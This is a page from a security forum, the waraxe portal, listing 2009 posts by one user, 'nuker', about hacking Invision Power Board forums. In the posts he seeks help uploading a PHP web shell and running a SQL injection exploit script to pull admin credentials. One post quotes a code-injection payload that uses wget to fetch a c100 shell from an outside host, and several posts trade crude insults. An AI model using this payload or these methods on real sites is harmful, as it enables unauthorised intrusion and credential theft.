Waraxe IT Security Portal
Login or Register
October 25, 2026
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 227
Members: 0
Total: 227
Full disclosure
[0day-rubbish] TRENDnet TV-IP302PI firmware 1.02.38 authenticated NTP server-address OS command injection to root command execution via a shell-form system() call (7.2 High, PR:H)
[0day-rubbish] Royal Render 9.1.26b: default-unauthenticated job submission on rrServer TCP 7773 reaches worker-side shell execution as the worker identity, measured root (8.1 High)
[0day-rubbish] ProSoft Technology RLX-IFH24E v2.2.44 unsigned firmware upgrade package to root command execution and full account-database overwrite (7.2)
[0day-rubbish] Parasoft Continuous Testing Platform 10.7.5-SNAPSHOT anonymous deserialization in the database restore path to JSP command execution as uid=1000 (9.8)
[0day-rubbish] Exasol Database 7.1.30 docker-db form: shipped default SYS credential to PYTHON3 UDF os.popen command execution as uid=500(exadefusr), output returned in-band (8.8)
[0day-rubbish] Edimax BR-6478AC firmware v2.20 authenticated command injection in the setWAN WAN-configuration handler, root command execution (7.2)
[0day-rubbish] Edimax BR-6478AC firmware v2.20 authenticated command injection in the formWlanMP manufacturing-test handler, root command execution (7.2)
[ROOTEDCON] Call for Papers 2027 · RootedCON2027 (Madrid)
VestaCP <= 0.9.8-26: authenticated config-parser eval sinks ->root RCE (VESTACP-2026-001)
[SYSS-2026-080]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-079]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-078]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-077]: dcm4che - Path Traversal (CWE-22)
[0day-rubbish] Synametrics Syncrify 6.2 build 1178 authenticated PublicLink chunk-upload path traversal to /etc/cron.d and root command execution (7.5)
[0day-rubbish] South River Technologies Titan MFT Server 26.0.0 first-run administrator setup chained to job post-command injection, NT AUTHORITY\SYSTEM (8.1)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index
Search found 39 matches
Uploading a shell with Administrator acc?
PostForum:Invision Power Board Posted: Wed Oct 28, 2009 3:13 pm Subject: Uploading a shell with Administrator acc?
nuker
Replies: 42
Views: 89573




thank you for your time. Im trying the code posted by walupeao

${${system(wget http://blacknite.eu/php_shells/c100.txt)}}

i dont know if it works because i havent tried it. Have you?
Uploading a shell with Administrator acc?
PostForum:Invision Power Board Posted: Wed Oct 28, 2009 12:49 am Subject: Uploading a shell with Administrator acc?
nuker
Replies: 42
Views: 89573




hi,

thanks for taking the time of replying. Im so happy that even waraxe himself came here to help. I really appeciate it.

First, im going to explain what i have and what i want to accomplish. I ...
Uploading a shell with Administrator acc?
PostForum:Invision Power Board Posted: Tue Oct 27, 2009 10:32 am Subject: Uploading a shell with Administrator acc?
nuker
Replies: 42
Views: 89573




Ohh yeah, undeniable. If you read all the books of the world sooner or later you are going to find the answer you are looking for... You remind me of the english teacher whom you ask "how do you say t ...
Uploading a shell with Administrator acc?
PostForum:Invision Power Board Posted: Mon Oct 26, 2009 5:13 pm Subject: Uploading a shell with Administrator acc?
nuker
Replies: 42
Views: 89573




You are right, CrayVr. This pexli asshole has nothing to do in a forum like this that is meant to help people. Pexli, go jerk off somewhere else, and remember to keep eating my shit, you brainless cun ...
Uploading a shell with Administrator acc?
PostForum:Invision Power Board Posted: Sun Oct 25, 2009 3:55 am Subject: Uploading a shell with Administrator acc?
nuker
Replies: 42
Views: 89573




We are talking about HACKING IPB, you moron!! i guess its not the same as if i use shell with my own server for which i have all credentials. Is it? Did you learn that in kindergarten? you should have ...
Uploading a shell with Administrator acc?
PostForum:Invision Power Board Posted: Sat Oct 24, 2009 8:41 pm Subject: Uploading a shell with Administrator acc?
nuker
Replies: 42
Views: 89573




Of course i have basic knowledge and more than that you piece of shit, but as i told you, in no book of apache, unix, linux, sql, etc. you are going to find how to hack an IPB and if all people here k ...
Uploading a shell with Administrator acc?
PostForum:Invision Power Board Posted: Thu Oct 22, 2009 11:53 am Subject: Uploading a shell with Administrator acc?
nuker
Replies: 42
Views: 89573




forums like this are for making things easier. Im not spending years reading books just to find something i could learn in 2 seconds if somebody kind enough tells me. Besides i dont think i can find o ...
Uploading a shell with Administrator acc?
PostForum:Invision Power Board Posted: Thu Oct 22, 2009 10:30 am Subject: Uploading a shell with Administrator acc?
nuker
Replies: 42
Views: 89573




okay, so for example i can download config_global.php using the shell? i understand this tutorial to execute the php code and upload the shell, but after that whats next? where do you access the shell ...
Uploading a shell with Administrator acc?
PostForum:Invision Power Board Posted: Wed Oct 21, 2009 3:50 pm Subject: Uploading a shell with Administrator acc?
nuker
Replies: 42
Views: 89573




maybe its a dull question, but once you have uploaded the shell then you can have access to all the files in the forum folder like if it was FTP? how you do it?
modifyng injection exploit to get data from different tables
PostForum:Invision Power Board Posted: Wed Oct 21, 2009 3:47 pm Subject: modifyng injection exploit to get data from different tables
nuker
Replies: 4
Views: 13352




Hi,
sorry, i hadnt seen your reply until now. Actually i had managed to figure it the code myself and now it works splendidly. Its a shame only the last character of the password ...
IPB 1.3?
PostForum:Invision Power Board Posted: Sun Sep 27, 2009 11:26 am Subject: IPB 1.3?
nuker
Replies: 11
Views: 16437




if you copied it directly from the board is most likely the code its messed up because of the smilies. So try to get the original one or remove the smilies yourself (such as Sad and Cool) and then it ...
IPB 1.3?
PostForum:Invision Power Board Posted: Sat Sep 26, 2009 3:58 pm Subject: IPB 1.3?
nuker
Replies: 11
Views: 16437




Thank you. That was a great explanation. I finally got it to work, however it says [failed]. Im testing it with a 1.2 of my own so its not patched or anything.

Thank you for your time.
IPB 1.3?
PostForum:Invision Power Board Posted: Sat Sep 26, 2009 10:13 am Subject: IPB 1.3?
nuker
Replies: 11
Views: 16437




okay, lets say the target board is myass.com/forum/ so i tried by changing that to this

## r57ipb2.pl myass.com /forum/ 1 0 <-------------------
## Invision Power Board v < 2.0.4 SQL injecti ...
IPB 1.3?
PostForum:Invision Power Board Posted: Fri Sep 25, 2009 4:27 pm Subject: IPB 1.3?
nuker
Replies: 11
Views: 16437




thats saved as a pl right? its executed via perl. I know that, however i cant figure out exactly how to use it. Do you have to modify the code according to your needs before executing it prompts you t ...
modifyng injection exploit to get data from different tables
PostForum:Invision Power Board Posted: Mon Sep 21, 2009 7:41 pm Subject: modifyng injection exploit to get data from different tables
nuker
Replies: 4
Views: 13352




i got it to work finally. Now i can fetch the admin logins details which includes the password although partially hidden you have at least how many characters has and which character is the last one. ...
Page 1 of 3 Goto page 1, 2, 3Next
All times are GMT


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.038 Seconds